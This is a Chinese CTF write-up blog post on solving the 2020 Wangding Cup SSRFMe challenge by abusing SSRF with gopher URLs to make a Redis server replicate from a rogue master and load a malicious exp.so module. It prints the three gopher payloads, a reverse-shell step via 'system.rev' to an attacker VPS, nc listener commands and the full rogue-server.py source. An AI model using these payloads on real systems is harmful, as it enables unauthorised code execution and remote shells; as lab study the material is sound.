SSRF打redis主从(更了)

点击2024那个看更新

受不了了。

打的题目是网鼎杯2020玄武组的SSRFMe。

打了一天,都是在module load那里失败,开了vps也不行,难道是redis版本对不上?

 

话不多说,我直接上payload,实在受不了了。

[root@EddieMurphy redis-7.0.2]# redis-server redis.conf

[root@EddieMurphy redis-rogue-server-master]# python3 redis-rogue-server.py --rhost=127.0.0.1 --lhost=vps

[root@EddieMurphy ~]# nc -lvp 6663

先在vps上起一个redis和rogue,工具用的redis-rogue-server-master,含有exp.so文件,直接用,redis的rhost默认端口是6379,vps的lhost默认端口是21000。

 

然后就是gopher打url:网上的构造脚本一大把

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520vps%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520vps%25206663%250d%250aquit

第一个设置tmp为备份目录,第二个设一个filename并且设置靶机自己成为从服务器,vps上起的redis为主服务器,第三个module load exp.so,然后利用exp.so文件里的system模块RCE。

然而我第三个payload稳定报错,尝试了其他payload发现就是module load这里出错,也就是我的exp.so没传上去过。

正常情况下应该就通了,但so文件传不上去,也就会出现识别不了后面system的RCE命令。

 

但思路就是这样,还是挺清晰的。

最后我想到的问题就是会不会是我redis版本有问题,因为这个主从RCE漏洞是redis4.x~redis5.0.5版本,我本地的主redis版本为7.0.2,会不会因为这个原因导致我本地的exp.so传不到靶机的从redis上。

也希望各位大佬解惑。

 

 

-------

后续我又用了redis5.0.1来打,结果还是module load稳定报错。

毁灭吧....

 

 

-------

后续我怀疑vps出问题了,所以我按照其他wp的方法,buu开了个小号再开了个linux:

ssh上号:

ssh -p 29975 root@node5.buuoj.cn

选完yes输密码123456:

scp -r -P 29975 /home/eddiemurphy/tools/Awsome-Redis-Rogue-Server-master root@node5.buuoj.cn:/tools

用scp传了一下工具,端口号看开靶机给的什么号,注意要先-r再-P,不然会报错:

正常传就有了:

然后用这个wp的方法打:很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户

但buu那个linux里没有pip3,要先去根目录python3 get-pip.py

然后下载需要的chardet模块:

然后又寄,load失败,服啦!

---------------------------------------------------------------------------------------------------------------------------------------

2024/04/26

突然想到这个题几个月前没打出来,想起来就开了靶场。

打了那么多渗透,这次一把就成功了。

只能说菜就多练。

[网鼎杯 2020 玄武组]SSRFMe_unknown command `system.exec`, with args beginning-CSDN博客 (bing.com)

直接跟这个,其他的全是傻逼,当时我就着了其他博客的道,要么payload有问题,要么工具有问题。

三个payload,改改vps和端口就完了:

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520vps%2520port%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520vps%2520port%250d%250aquit

回想几个月前的那个傻逼一样的自己,我还以为打redis主从必须自己起一个redis,其实你去看看上面博客给的工具的源码,就会发现,它只是模拟了redis发包的服务:

rogue-server.py:(原port是6666,我改成了21000)

#!/usr/local/bin python
#coding=utf8
import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    
    print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(address[0], address[1]))
    
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            print("\033[92m[+]\033[0m FULLRESYNC ...")
            flag=False
            
    print("\033[92m[+]\033[0m It's done")
    
if __name__=="__main__":

    lport=21000
    RogueServer(lport)

所以,你并不需要自己下一个redis,只需要起一个这个脚本就完事了。

其他没啥需要注意的,唯一需要注意的是传exp.so的时候最好写个test.sh死循环,不然传不上去:

可以看到,哥们打第二个payload的时候前面进程全死了,只有一次传成功,看到这个输出后再打第三个payload,直接反弹shell:

本来渗透打多了,下意识想python整个交互式shell,但是想了想就一个cat flag的事,就懒得写了:

posted @ 2024-04-26 20:27  Eddie_Murphy  阅读(60)  评论(0编辑  收藏  举报